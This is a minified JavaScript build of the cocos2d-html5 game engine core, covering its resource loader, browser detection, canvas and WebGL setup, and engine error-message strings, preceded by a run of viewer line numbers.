123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551552553554555556557558559560561562563564565566567568569570571572573574575576577578579580581582583584585586587588589590591592593594595596597598599600601602603604605606607608609610611612613614615616617618619620621622623624625626627628629630631632633634635636637638639640641642643644645646647648649650651652653654655656657658659660661662663664665666667668669670671672673674675676677678679680681682683684685686687688689690691692693694695696697698699700701702703704705706707708709710711712713714715716717718719720721722723724725726727728729730731732733734735736737738739740741742743744745746747748749750751752753754755756757758759760761762763764765766767768769770771772773774775776777778779780781782783784785786787788789790791792793794795796797798799800801802803804805806807808809810811812813814815816817818819820821822823824825826827828829830831832833834835836837838839840841842843844845846847848849850851852853854855856857858859860861862863864865866867868869870871872873874875876877878879880881882883884885886887888889890891892893894895896897898899900901902903904905906907908909910911912913914915916917918919920921922923924925926927928929930931932933934935936937938939940941942943944945946947948949950951952953954955956957958959960961962963964965966967968969970971972973974975976977978979980981982983984985986987988989990991992993994995996997998999100010011002100310041005100610071008100910101011101210131014101510161017101810191020102110221023102410251026102710281029103010311032103310341035103610371038103910401041104210431044104510461047104810491050105110521053105410551056105710581059106010611062106310641065106610671068106910701071107210731074 |
- var b=b||{};b.H=b.H||{};b.f={};n=window;n=Object.prototype;delete window._p;b.Rb=function(a){return document.createElement(a)};b.Ha=function(a,c,d,e){a.addEventListener(c,d,e)};b.PK="undefined"!==typeof require&&require("fs");b.m0=function(a,c){if(a)if(a instanceof Array)for(var d=0,e=a.length;d<e&&!1!==c.call(void 0,a[d],d);d++);else for(d in a)if(!1===c.call(void 0,a[d],d))break};
- b.yF=function(a){if(!a)return b.log("invalid URL"),!1;var c=a.indexOf("://");if(-1==c)return!1;c=a.indexOf("/",c+3);return(-1==c?a:a.substring(0,c))!=location.origin};
- function J(a,c,d,e,f){var g=this;g.y$=a;g.Mv=c;g.Qr=[];g.WK=d;g.XK=f;g.em=e;g.Uv=f;g.GL=a instanceof Array?[]:{};g.OK=!1;b.m0(a,function(a,c){g.Qr.push({index:c,value:a})});g.size=g.Qr.length;g.PE=0;g.cE=0;g.Mv=g.Mv||g.size;g.Kha=function(a,c){g.WK=a;g.XK=c};g.Jha=function(a,c){g.em=a;g.Uv=c};g.FK=function(){var a=this;if(0!=a.Qr.length&&!(a.cE>=a.Mv)){var c=a.Qr.shift(),d=c.value,e=c.index;a.cE++;a.WK.call(a.XK,d,e,function(c){if(!a.OK)if(a.PE++,a.cE--,c)a.OK=!0,a.em&&a.em.call(a.Uv,c);else{var d=
- Array.prototype.slice.call(arguments,1);a.GL[this.index]=d[0];a.PE==a.size?a.em&&a.em.call(a.Uv,null,a.GL):a.FK()}}.bind(c),a)}};g.ip=function(){if(0==this.Qr.length)this.em&&this.em.call(this.Uv,null,[]);else for(var a=0;a<this.Mv;a++)this.FK()}}
- b.async={nja:function(a,c,d){a=new J(a,1,function(a,c,g){a.call(d,g)},c,d);a.ip();return a},hia:function(a,c,d){a=new J(a,0,function(a,c,g){a.call(d,g)},c,d);a.ip();return a},cma:function(a,c,d){var e=[];a=new J(a,1,function(a,c,h){e.push(function(a){e=Array.prototype.slice.call(arguments,1);h.apply(null,arguments)});a.apply(d,e)},function(a,e){if(c){if(a)return c.call(d,a);c.call(d,null,e[e.length-1])}});a.ip();return a},map:function(a,c,d,e){var f=c;"object"==typeof c&&(d=c.Gm,e=c.ifa,f=c.hfa);
- a=new J(a,0,f,d,e);a.ip();return a},gha:function(a,c,d,e,f){a=new J(a,c,d,e,f);a.ip();return a}};
- b.path={join:function(){for(var a=arguments.length,c="",d=0;d<a;d++)c=(c+(""==c?"":"/")+arguments[d]).replace(/(\/|\\\\)$/,"");return c},$k:function(a){return(a=/(\.[^\.\/\?\\]*)(\?.*)?$/.exec(a))?a[1]:null},fha:function(a){if(a){var c=a.lastIndexOf(".");if(-1!==c)return a.substring(0,c)}return a},y_:function(a,c){var d=a.indexOf("?");0<d&&(a=a.substring(0,d));d=/(\/|\\\\)([^(\/|\\\\)]+)$/g.exec(a.replace(/(\/|\\\\)$/,""));if(!d)return null;d=d[2];return c&&a.substring(a.length-c.length).toLowerCase()==
- c.toLowerCase()?d.substring(0,d.length-c.length):d},dirname:function(a){return a.replace(/((.*)(\/|\\|\\\\))?(.*?\..*$)?/,"$2")},OM:function(a,c){c=c||"";var d=a.indexOf("?"),e="";0<d&&(e=a.substring(d),a=a.substring(0,d));d=a.lastIndexOf(".");return 0>d?a+c+e:a.substring(0,d)+c+e},$o:function(a,c,d){if(0==c.indexOf("."))return this.OM(a,c);var e=a.indexOf("?"),f="";d=d?this.$k(a):"";0<e&&(f=a.substring(e),a=a.substring(0,e));e=a.lastIndexOf("/");return a.substring(0,0>=e?0:e+1)+c+d+f}};
- b.V={YK:{},gw:{},NX:{},Ll:{},ty:"",v_:"",Of:{},vx:function(){return window.XMLHttpRequest?new window.XMLHttpRequest:new ActiveXObject("MSXML2.XMLHTTP")},uK:function(a){var c=a[0],d=a[1],e=a[2],f=["",null,null];if(1===a.length)f[1]=c instanceof Array?c:[c];else if(2===a.length)"function"==typeof d?(f[1]=c instanceof Array?c:[c],f[2]=d):(f[0]=c||"",f[1]=d instanceof Array?d:[d]);else if(3===a.length)f[0]=c||"",f[1]=d instanceof Array?d:[d],f[2]=e;else throw"arguments error to load js!";return f},A3:function(a,
- c,d){var e=this,f=e.YK,g=e.uK(arguments),h=g[0],k=g[1],g=g[2];-1<navigator.userAgent.indexOf("Trident/5")?e.cL(h,k,0,g):b.async.map(k,function(a,c,d){a=b.path.join(h,a);if(f[a])return d(null);e.uJ(a,!1,d)},g)},PO:function(a,c,d){var e=this.SX(),f=this.uK(arguments);this.A3(f[0],f[1],function(a){if(a)throw a;e.parentNode.removeChild(e);if(f[2])f[2]()})},uJ:function(a,c,d){var e=document,f=b.Rb("script");f.async=c;f.src=a;this.YK[a]=!0;b.Ha(f,"load",function(){f.parentNode.removeChild(f);this.removeEventListener("load",
- arguments.callee,!1);d()},!1);b.Ha(f,"error",function(){f.parentNode.removeChild(f);d("Load "+a+" failed!")},!1);e.body.appendChild(f)},cL:function(a,c,d,e){if(d>=c.length)e&&e();else{var f=this;f.uJ(b.path.join(a,c[d]),!1,function(g){if(g)return e(g);f.cL(a,c,d+1,e)})}},SX:function(){var a=document,c=a.getElementById("cocos2d_loadJsImg");if(!c){c=b.Rb("img");b.eL&&(c.src=b.eL);a=a.getElementById(b.wb.ne.id);a.style.backgroundColor="black";a.parentNode.appendChild(c);var d=getComputedStyle?getComputedStyle(a):
- a.currentStyle;d||(d={width:a.width,height:a.height});c.style.left=a.offsetLeft+(parseFloat(d.width)-c.width)/2+"px";c.style.top=a.offsetTop+(parseFloat(d.height)-c.height)/2+"px";c.style.position="absolute"}return c},$x:function(a,c){if(b.PK)require("fs").xia(a,function(a,d){a?c(a):c(null,d.toString())});else{var d=this.vx(),e="load "+a+" failed!";d.open("GET",a,!0);/msie/i.test(navigator.userAgent)&&!/opera/i.test(navigator.userAgent)?(d.setRequestHeader("Accept-Charset","utf-8"),d.onreadystatechange=
- function(){4==d.readyState&&(200==d.status?c(null,d.responseText):c(e))}):(d.overrideMimeType&&d.overrideMimeType("text/plain; charset\x3dutf-8"),d.onload=function(){4==d.readyState&&(200==d.status?c(null,d.responseText):c(e))});d.send(null)}},dL:function(a){if(b.PK)return require("fs").yia(a).toString();var c=this.vx();c.open("GET",a,!1);/msie/i.test(navigator.userAgent)&&!/opera/i.test(navigator.userAgent)?c.setRequestHeader("Accept-Charset","utf-8"):c.overrideMimeType&&c.overrideMimeType("text/plain; charset\x3dutf-8");
- c.send(null);return 4==!c.readyState||200!=c.status?null:c.responseText},QO:function(a,c){this.$x(a,function(d,e){try{d?c(d):c(null,JSON.parse(e))}catch(f){throw"load json ["+a+"] failed : "+f;}})},qJ:function(a){return null!=/(\.png)|(\.jpg)|(\.bmp)|(\.jpeg)|(\.gif)/.exec(a)},Us:function(a,c,d){var e=!0;void 0!==d?e=null==c.yF?e:c.yF:void 0!==c&&(d=c);var f=new Image;e&&"file://"!=location.origin&&(f.crossOrigin="Anonymous");b.Ha(f,"load",function(){this.removeEventListener("load",arguments.callee,
- !1);this.removeEventListener("error",arguments.callee,!1);d&&d(null,f)});b.Ha(f,"error",function(){this.removeEventListener("error",arguments.callee,!1);d&&d("load image failed")});f.src=a;return f},TX:function(a,c,d){var e=this,f=null;(c=a.type)?(c="."+c.toLowerCase(),f=a.src?a.src:a.name+c):(f=a,c=b.path.$k(f));var g=e.Of[f];if(g)return d(null,g);g=e.gw[c.toLowerCase()];if(!g)return b.error("loader for ["+c+"] not exists!"),d();c=e.c2(g.kx?g.kx():e.ty,f);g.load(c,f,a,function(a,c){a?(b.log(a),e.Of[f]=
- null,delete e.Of[f],d()):(e.Of[f]=c,d(null,c))})},c2:function(a,c){var d=this.NX,e=b.path;if(void 0!==a&&void 0===c){c=a;var f=e.$k(c),f=f?f.toLowerCase():"";a=(f=this.gw[f])?f.kx?f.kx():this.ty:this.ty}c=b.path.join(a||"",c);if(c.match(/[\/(\\\\)]lang[\/(\\\\)]/i)){if(d[c])return d[c];e=e.$k(c)||"";c=d[c]=c.substring(0,c.length-e.length)+"_"+b.pa.language+e}return c},load:function(a,c,d){var e=this,f=arguments.length;if(0==f)throw"arguments error!";3==f?"function"==typeof c&&(c="function"==typeof d?
- {vQ:c,Gm:d}:{Gm:c,I_:d}):2==f?"function"==typeof c&&(c={Gm:c}):1==f&&(c={});a instanceof Array||(a=[a]);f=new J(a,0,function(a,d,f,m){e.TX(a,d,function(a){if(a)return f(a);var d=Array.prototype.slice.call(arguments,1);c.vQ&&c.vQ.call(c.Rla,d[0],m.size,m.PE);f(null,d[0])})},c.Gm,c.I_);f.ip();return f},EK:function(a,c){var d=this.Ll,e=[],f;for(f in a){var g=a[f];d[f]=g;e.push(g)}this.load(e,c)},cha:function(a,c){var d=this,e=d.Cd(a);e?d.EK(e.filenames,c):d.load(a,function(a,e){d.EK(e[0].filenames,c)})},
- Pj:function(a,c){if(a&&c){if("string"==typeof a)return this.gw[a.trim().toLowerCase()]=c;for(var d=0,e=a.length;d<e;d++)this.gw["."+a[d].trim().toLowerCase()]=c}},Cd:function(a){return this.Of[a]||this.Of[this.Ll[a]]},Mi:function(a){var c=this.Of,d=this.Ll;delete c[a];delete c[d[a]];delete d[a]},Iia:function(){var a=this.Of,c=this.Ll,d;for(d in a)delete a[d];for(d in c)delete c[d]}};
- b.QE=function(){var a=arguments,c=a.length;if(1>c)return"";var d=a[0],e=!0;"object"==typeof d&&(d=JSON.stringify(d),e=!1);for(var f=1;f<c;++f){var g=a[f],g="object"==typeof g?JSON.stringify(g):g;if(e)for(;;){var h=null;if("number"==typeof g&&(h=d.match(/(%d)|(%s)/))){d=d.replace(/(%d)|(%s)/,g);break}d=(h=d.match(/%s/))?d.replace(/%s/,g):d+(" "+g);break}else d+=" "+g}return d};
- (function(){function a(){b.ra&&b.wb.or&&b.ra.dispatchEvent(b.wb.or);b.wb.Cr&&(window.cancelAnimationFrame(b.wb.Cr),b.wb.YC())}function c(){b.ra&&b.wb.nr&&b.ra.dispatchEvent(b.wb.nr)}var d=window,e,f;"undefined"!==typeof document.hidden?(e="hidden",f="visibilitychange"):"undefined"!==typeof document.mozHidden?(e="mozHidden",f="mozvisibilitychange"):"undefined"!==typeof document.msHidden?(e="msHidden",f="msvisibilitychange"):"undefined"!==typeof document.webkitHidden&&(e="webkitHidden",f="webkitvisibilitychange");
- e?b.Ha(document,f,function(){document[e]?c():a()},!1):(b.Ha(d,"blur",c,!1),b.Ha(d,"focus",a,!1));-1<navigator.userAgent.indexOf("MicroMessenger")&&(d.onfocus=function(){a()});"onpageshow"in window&&"onpagehide"in window&&(b.Ha(d,"pagehide",c,!1),b.Ha(d,"pageshow",a,!1));f=d=null})();b.log=b.warn=b.error=b.assert=function(){};b.XM=function(a,c){for(var d=["webgl","experimental-webgl","webkit-3d","moz-webgl"],e=null,f=0;f<d.length;++f){try{e=a.getContext(d[f],c)}catch(g){}if(e)break}return e};
- b.BX=function(a,c){b.Aa=0;b.W=1;b.pa={};var d=b.pa;d.pS="en";d.q8="zh";d.r8="fr";d.u8="it";d.s8="de";d.B8="es";d.A8="ru";d.w8="ko";d.v8="ja";d.t8="hu";d.z8="pt";d.p8="ar";d.x8="no";d.y8="pl";d.XS="Windows";d.yq="iOS";d.yH="OS X";d.VS="UNIX";d.US="Linux";d.xH="Android";d.WS="Unknown";d.F9=0;d.C8=1;d.D8=2;d.i7=3;d.n8=4;d.m8=5;d.r7=6;d.H8=7;d.X7=8;d.k9=9;d.G9=10;d.H9=11;d.yS=100;d.qR=101;d.VG="wechat";d.SQ="androidbrowser";d.az="ie";d.TQ="qqbrowser";d.UG="mqqbrowser";d.UQ="ucbrowser";d.u7="360browser";
- d.v7="baiduboxapp";d.TG="baidubrowser";d.w7="maxthon";d.bz="opera";d.x7="miuibrowser";d.$p="firefox";d.cz="safari";d.$y="chrome";d.VQ="unknown";d.L2=!1;var e=[d.TG,d.bz,d.$p,d.$y,d.cz],f=[d.TG,d.bz,d.$p,d.$y,d.cz,d.UQ,d.TQ,d.UG,d.az],g=window,h=g.navigator,k=document.documentElement,m=h.userAgent.toLowerCase();d.Mg=-1!=m.indexOf("mobile")||-1!=m.indexOf("android");d.platform=d.Mg?d.yS:d.qR;var p=h.language,p=(p=p?p:h.browserLanguage)?p.split("-")[0]:d.pS;d.language=p;var p=d.VQ,q=m.match(/micromessenger|qqbrowser|mqqbrowser|ucbrowser|360browser|baiduboxapp|baidubrowser|maxthon|trident|opera|miuibrowser|firefox/i)||
- m.match(/chrome|safari/i);q&&0<q.length&&(p=q[0].toLowerCase(),"micromessenger"==p?p=d.VG:"safari"===p&&m.match(/android.*applewebkit/)?p=d.SQ:"trident"==p&&(p=d.az));d.Aj=p;d.AZ=-1<f.indexOf(d.Aj);f=parseInt(a[c.nt]);p=b.W;q=b.Rb("Canvas");b.Cw=!0;e=-1==e.indexOf(d.Aj);if(1===f||0===f&&(d.Mg||e)||"file://"==location.origin)p=b.Aa;d.VV=function(){var a=document.createElement("canvas");a.width=1;a.height=1;a=a.getContext("2d");a.fillStyle="#000";a.fillRect(0,0,1,1);a.globalCompositeOperation="multiply";
- a.fillStyle="#fff";a.fillRect(0,0,1,1);return 0===a.getImageData(0,0,1,1).data[0]};d.Bw=d.VV();p!=b.W||g.WebGLRenderingContext&&b.XM(q,{stencil:!0,preserveDrawingBuffer:!0})||(0==f?p=b.Aa:b.Cw=!1);if(p==b.Aa)try{q.getContext("2d")}catch(r){b.Cw=!1}b.B=p;try{d.Dw=!!new (g.AudioContext||g.webkitAudioContext||g.mozAudioContext)}catch(t){d.Dw=!1}try{var s=d.localStorage=g.localStorage;s.setItem("storage","");s.removeItem("storage");s=null}catch(u){"SECURITY_ERR"!==u.name&&"QuotaExceededError"!==u.name||
- b.warn("Warning: localStorage isn't enabled. Please confirm browser cookie or privacy option"),d.localStorage=function(){}}s=d.sE={canvas:!0};b.B==b.W&&(s.opengl=!0);if(void 0!==k.ontouchstart||h.msPointerEnabled)s.touches=!0;void 0!==k.onmouseup&&(s.mouse=!0);void 0!==k.onkeyup&&(s.keyboard=!0);if(g.DeviceMotionEvent||g.DeviceOrientationEvent)s.accelerometer=!0;g=m.match(/(iPad|iPhone|iPod)/i)?!0:!1;m=m.match(/android/i)||h.platform.match(/android/i)?!0:!1;k=d.WS;-1!=h.appVersion.indexOf("Win")?
- k=d.XS:g?k=d.yq:-1!=h.appVersion.indexOf("Mac")?k=d.yH:-1!=h.appVersion.indexOf("X11")?k=d.VS:m?k=d.xH:-1!=h.appVersion.indexOf("Linux")&&(k=d.US);d.Zm=k;d.Uba=function(){};d.Yaa=function(){};d.cja=function(){};d.Waa=function(){var a;a=""+("isMobile : "+this.Mg+"\r\n");a+="language : "+this.language+"\r\n";a+="browserType : "+this.Aj+"\r\n";a+="capabilities : "+JSON.stringify(this.sE)+"\r\n";a+="os : "+this.Zm+"\r\n";a+="platform : "+this.platform+"\r\n";b.log(a)}};b.N8=0;b.O8=1;b.L8=2;b.M8=3;
- b.ye=null;b.l=null;b.Wa=null;b.GW=null;b.hw=!1;b.VL=!1;
- b.qZ=function(a){var c,d;if(!b.VL){b.VL=!0;var e=window,f=new Date,g=1E3/b.wb.ne[b.wb.jg.Gs],h=function(a){var c=(new Date).getTime(),d=Math.max(0,g-(c-f)),e=window.setTimeout(function(){a()},d);f=c+d;return e},k=function(a){clearTimeout(a)};b.pa.Zm===b.pa.yq&&b.pa.Aj===b.pa.VG?(e.sy=h,e.cancelAnimationFrame=k):60!=b.wb.ne[b.wb.jg.Gs]?(e.sy=h,e.cancelAnimationFrame=k):(e.sy=e.requestAnimationFrame||e.webkitRequestAnimationFrame||e.mozRequestAnimationFrame||e.oRequestAnimationFrame||e.msRequestAnimationFrame||
- h,e.cancelAnimationFrame=window.cancelAnimationFrame||window.cancelRequestAnimationFrame||window.msCancelRequestAnimationFrame||window.mozCancelRequestAnimationFrame||window.oCancelRequestAnimationFrame||window.webkitCancelRequestAnimationFrame||window.msCancelAnimationFrame||window.mozCancelAnimationFrame||window.webkitCancelAnimationFrame||window.oCancelAnimationFrame||k);k=b.rb(a)||b.rb("#"+a);"CANVAS"==k.tagName?(c=c||k.width,d=d||k.height,h=b.Im=b.Rb("DIV"),a=b.Wa=k,a.parentNode.insertBefore(h,
- a),a.EM(h),h.setAttribute("id","Cocos2dGameContainer")):("DIV"!=k.tagName&&b.log("Warning: target element is not a DIV or CANVAS"),c=c||k.clientWidth,d=d||k.clientHeight,h=b.Im=k,a=b.Wa=b.rb(b.Rb("CANVAS")),k.appendChild(a));a.yM("gameCanvas");a.setAttribute("width",c||480);a.setAttribute("height",d||320);a.setAttribute("tabindex",99);a.style.outline="none";k=h.style;k.width=(c||480)+"px";k.height=(d||320)+"px";k.margin="0 auto";k.position="relative";k.overflow="hidden";h.top="100%";b.B==b.W&&(b.l=
- b.ema=b.XM(a,{stencil:!0,preserveDrawingBuffer:!0,antialias:!b.pa.Mg,alpha:!1}));b.l?(e.gl=b.l,b.ye=new b.BR(b.l),b.hw=!0,b.Ea.EX(),b.Hd.Ar()):(b.l=a.getContext("2d"),b.WX=b.l,b.l.translate(0,a.height),b.ye=b.eH?new b.eH(b.l):null);b.GW=h;b.log(b.oz);b.QY();b.pa.Mg&&(c=b.Rb("style"),c.type="text/css",document.body.appendChild(c),c.textContent="body,canvas,div{ -moz-user-select: none;-webkit-user-select: none;-ms-user-select: none;-khtml-user-select: none;-webkit-tap-highlight-color:rgba(0,0,0,0);}");
- b.view=b.mz.MB();b.uO.r4(b.Wa);b.J=b.Ua.MB();b.J.Gy&&b.J.Gy(b.view);b.sf=b.J.ya();b.ija=new b.pu;b.d4=new b.kT}};b.nB=function(){if(b.B!==b.W)throw"This feature supports WebGL render mode only.";};b.NK=!1;b.QY=function(){b.NK=!1;b.Wa.oncontextmenu=function(){if(!b.NK)return!1}};
- b.wb={pR:0,nR:1,K7:2,ZG:3,oR:4,L7:5,mR:6,pz:"game_on_hide",Jt:"game_on_show",nr:null,or:null,n$:[],jg:{OE:"engineDir",Haa:"dependencies",Bs:"debugMode",W5:"showFPS",Gs:"frameRate",id:"id",nt:"renderMode",Q2:"jsList",M_:"classReleaseMode"},tL:!1,cw:!1,kc:!0,Cr:null,ne:null,XO:null,Lha:null,Tja:function(a){this.ne[this.jg.Gs]=a;this.Cr&&window.cancelAnimationFrame(this.Cr);this.kc=!0;this.YC()},YC:function(){var a=this,c,d=b.J;d.b5(a.ne[a.jg.W5]);c=function(){a.kc||(d.D3(),a.Cr=window.sy(c))};window.sy(c);
- a.kc=!1},L4:function(a){function c(){a&&(d.ne[d.jg.id]=a);d.tL||d.h4(function(){d.cw=!0});b.Cw&&(d.WV=setInterval(function(){d.cw&&(b.qZ(d.ne[d.jg.id]),d.YC(),d.nr=d.nr||new b.zl(d.pz),d.nr.setUserData(d),d.or=d.or||new b.zl(d.Jt),d.or.setUserData(d),d.XO(),clearInterval(d.WV))},10))}var d=this;document.body?c():b.Ha(window,"load",function(){this.removeEventListener("load",arguments.callee,!1);c()},!1)},vX:function(){function a(a){a[c.OE]=a[c.OE]||"frameworks/cocos2d-html5";null==a[c.Bs]&&(a[c.Bs]=
- 0);a[c.Gs]=a[c.Gs]||60;null==a[c.nt]&&(a[c.nt]=1);return a}var c=this.jg;if(document.ccConfig)this.ne=a(document.ccConfig);else try{for(var d=document.getElementsByTagName("script"),e=0;e<d.length;e++){var f=d[e].getAttribute("cocos");if(""==f||f)break}var g,h,k;if(e<d.length){if(g=d[e].src)k=/(.*)\//.exec(g)[0],b.V.ty=k,g=b.path.join(k,"project.xml");h=b.V.dL(g)}h||(h=b.V.dL("project.xml"));var m=JSON.parse(h);this.ne=a(m||{})}catch(p){b.log("Failed to read or parse project.xml"),this.ne=a({})}b.BX(this.ne,
- c)},LX:{},yK:function(a,c,d){var e=this.LX;if(e[c])return null;d=d||"";var f=[],g=a[c];if(!g)throw"can not find module ["+c+"]";c=b.path;for(var h=0,k=g.length;h<k;h++){var m=g[h];if(!e[m]){var p=c.$k(m);p?".js"==p.toLowerCase()&&f.push(c.join(d,m)):(p=this.yK(a,m,d))&&(f=f.concat(p));e[m]=1}}return f},h4:function(a){var c=this,d=c.ne,e=c.jg,f=d[e.OE],g=b.V;if(!b.Cw)throw"The renderer doesn't support the renderMode "+d[e.nt];c.tL=!0;var h=d[e.Q2]||[];b.oa?g.PO("",h,function(d){if(d)throw d;c.cw=!0;
- a&&a()}):(e=b.path.join(f,"moduleConfig.json"),g.QO(e,function(e,g){if(e)throw e;var p=d.modules||[],q=g.module,r=[];b.B==b.W?p.splice(0,0,"shaders"):0>p.indexOf("core")&&p.splice(0,0,"core");for(var t=0,s=p.length;t<s;t++){var u=c.yK(q,p[t],f);u&&(r=r.concat(u))}r=r.concat(h);b.V.PO(r,function(d){if(d)throw d;c.cw=!0;a&&a()})}))}};b.wb.vX();
- Function.prototype.bind=Function.prototype.bind||function(a){var c=this;return function(){var d=Array.prototype.slice.call(arguments);return c.apply(a||null,d)}};b.f={OG:"cc.ActionManager.addAction(): action must be non-null",PQ:"cocos2d: removeAction: Target not found",m7:"cc.ActionManager.removeActionByTag(): an invalid tag",n7:"cc.ActionManager.removeActionByTag(): target must be non-null",NQ:"cc.ActionManager.getActionByTag(): an invalid tag",OQ:"cocos2d : getActionByTag(tag \x3d %s): Action not found",Q_:"cocos2d: **** WARNING **** CC_ENABLE_PROFILERS is defined. Disable it when you finish profiling (from ccConfig.js)",R_:"Expected 'data' dict, but not found. Config file: %s",
- S_:"Please load the resource first : %s",wR:"cocos2d: Director: Error in gettimeofday",xR:"cocos2d: Director: unrecognized projection",W7:"cocos2d: Director: unrecognized projection",vR:"cocos2d: Director: Error in gettimeofday",uR:"running scene should not null",dH:"the scene should not null",us:"element type is wrong!",HT:"CCSheduler#scheduleCallback. Callback already scheduled. Updating interval from:%s to %s",IT:"cc.scheduler.scheduleCallbackForTarget(): callback_fn should be non-null.",JT:"cc.scheduler.scheduleCallbackForTarget(): target should be non-null.",
- FT:"cc.Scheduler.pauseTarget():target should be non-null",GT:"cc.Scheduler.resumeTarget():target should be non-null",ET:"cc.Scheduler.isTargetPaused():target should be non-null",GS:"getZOrder is deprecated. Please use getLocalZOrder instead.",RS:"setZOrder is deprecated. Please use setLocalZOrder instead.",ES:"RotationX !\x3d RotationY. Don't know which one to return",FS:"ScaleX !\x3d ScaleY. Don't know which one to return",I8:"An Node can't be added as a child of itself.",J8:"child already added. It can't be added again",
- BS:"child must be non-null",LS:"removeFromParentAndCleanup is deprecated. Use removeFromParent instead",CS:"boundingBox is deprecated. Use getBoundingBox instead",JS:"argument tag is an invalid tag",KS:"cocos2d: removeChildByTag(tag \x3d %s): child not found!",IS:"removeAllChildrenWithCleanup is deprecated. Use removeAllChildren instead",SS:"cc.Node.stopActionBy(): argument tag an invalid tag",DS:"cc.Node.getActionByTag(): argument tag is an invalid tag",NS:"resumeSchedulerAndActions is deprecated, please use resume instead.",
- HS:"pauseSchedulerAndActions is deprecated, please use pause instead.",AS:"Unknown callback function",MS:"child must be non-null",OS:"cc.Node.runAction(): action must be non-null",PS:"callback function must be non-null",QS:"interval must be positive",K8:"cocos2d: Could not initialize cc.AtlasNode. Invalid Texture.",QQ:"cc.AtlasNode.updateAtlasValues(): Shall be overridden in subclasses",q7:"",PG:"cocos2d: Could not initialize cc.AtlasNode. Invalid Texture.",rV:"cc._EventListenerKeyboard.checkAvailable(): Invalid EventListenerKeyboard!",
- tV:"cc._EventListenerTouchOneByOne.checkAvailable(): Invalid EventListenerTouchOneByOne!",sV:"cc._EventListenerTouchAllAtOnce.checkAvailable(): Invalid EventListenerTouchAllAtOnce!",qV:"cc._EventListenerAcceleration.checkAvailable(): _onAccelerationEvent must be non-nil",JR:"Invalid parameter.",Ku:"Don't call this method if the event is for touch.",y0:"Invalid scene graph priority!",z0:"0 priority is forbidden for fixed priority since it's used for scene graph based priority.",D0:"Invalid listener type!",
- E0:"Can't set fixed priority with scene graph based listener.",A0:"Invalid parameters.",B0:"listener must be a cc.EventListener object when adding a fixed priority listener",C0:"The listener has been registered, please don't register it again.",sS:"parameters should not be ending with null in Javascript",tS:"Invalid index in MultiplexLayer switchTo message",uS:"Invalid index in MultiplexLayer switchTo message",rS:"cc.Layer.addLayer(): layer should be non-null",CR:"Resolution not valid",DR:"should set resolutionPolicy",
- D2:"The touches is more than MAX_TOUCHES, nUnusedIndex \x3d %s",nQ:"cc.swap is being modified from original macro, please check usage",bp:"WebGL error %s",j_:"cocos2d: cc.AnimationCache: No animations were found in provided dictionary.",k_:"cc.AnimationCache. Invalid animation format",r_:"cc.AnimationCache.addAnimations(): File could not be found",l_:"cocos2d: cc.AnimationCache: Animation '%s' found in dictionary without any frames - cannot add to animation cache.",m_:"cocos2d: cc.AnimationCache: Animation '%s' refers to frame '%s' which is not currently in the cc.SpriteFrameCache. This frame will not be added to the animation.",
- n_:"cocos2d: cc.AnimationCache: None of the frames for animation '%s' were found in the cc.SpriteFrameCache. Animation is not being added to the Animation Cache.",o_:"cocos2d: cc.AnimationCache: An animation in your dictionary refers to a frame which is not in the cc.SpriteFrameCache. Some or all of the frames for the animation '%s' may be missing.",p_:"cocos2d: CCAnimationCache: Animation '%s' found in dictionary without any frames - cannot add to animation cache.",q_:"cocos2d: cc.AnimationCache: Animation '%s' refers to frame '%s' which is not currently in the cc.SpriteFrameCache. This frame will not be added to the animation.",
- s_:"cc.AnimationCache.addAnimations(): Invalid texture file name",gU:"cc.Sprite.reorderChild(): this child is not in children list",ZT:"cc.Sprite.ignoreAnchorPointForPosition(): it is invalid in cc.Sprite when using SpriteBatchNode",jU:"cc.Sprite.setDisplayFrameWithAnimationName(): Frame not found",kU:"cc.Sprite.setDisplayFrameWithAnimationName(): Invalid frame index",iU:"setDisplayFrame is deprecated, please use setSpriteFrame instead.",ST:"cc.Sprite._updateBlendFunc(): _updateBlendFunc doesn't work when the sprite is rendered using a cc.CCSpriteBatchNode",
- aU:"cc.Sprite.initWithSpriteFrame(): spriteFrame should be non-null",bU:"cc.Sprite.initWithSpriteFrameName(): spriteFrameName should be non-null",cU:" is null, please check.",$T:"cc.Sprite.initWithFile(): filename should be non-null",lU:"cc.Sprite.setDisplayFrameWithAnimationName(): animationName must be non-null",hU:"cc.Sprite.reorderChild(): child should be non-null",TT:"cc.Sprite.addChild(): cc.Sprite only supports cc.Sprites as children when using cc.SpriteBatchNode",UT:"cc.Sprite.addChild(): cc.Sprite only supports a sprite using same texture as children when using cc.SpriteBatchNode",
- VT:"cc.Sprite.addChild(): child should be non-null",nU:"cc.Sprite.texture setter: Batched sprites should use the same texture as the batchnode",a9:"cc.SpriteBatchNode.updateQuadFromSprite(): cc.SpriteBatchNode only supports cc.Sprites as children",eU:"cc.SpriteBatchNode.insertQuadFromSprite(): cc.SpriteBatchNode only supports cc.Sprites as children",WT:"cc.SpriteBatchNode.addChild(): cc.SpriteBatchNode only supports cc.Sprites as children",XT:"cc.SpriteBatchNode.addChild(): cc.Sprite is not using the same texture",
- dU:"Sprite.initWithTexture(): Argument must be non-nil ",mU:"Invalid spriteFrameName",oU:"Invalid argument: cc.Sprite.texture setter expects a CCTexture2D.",b9:"cc.SpriteBatchNode.updateQuadFromSprite(): sprite should be non-null",fU:"cc.SpriteBatchNode.insertQuadFromSprite(): sprite should be non-null",YT:"cc.SpriteBatchNode.addChild(): child should be non-null",LT:"cc.SpriteBatchNode.addQuadFromSprite(): SpriteBatchNode only supports cc.Sprites as children",NT:"cocos2d: CCSpriteBatchNode: resizing TextureAtlas capacity from %s to %s.",
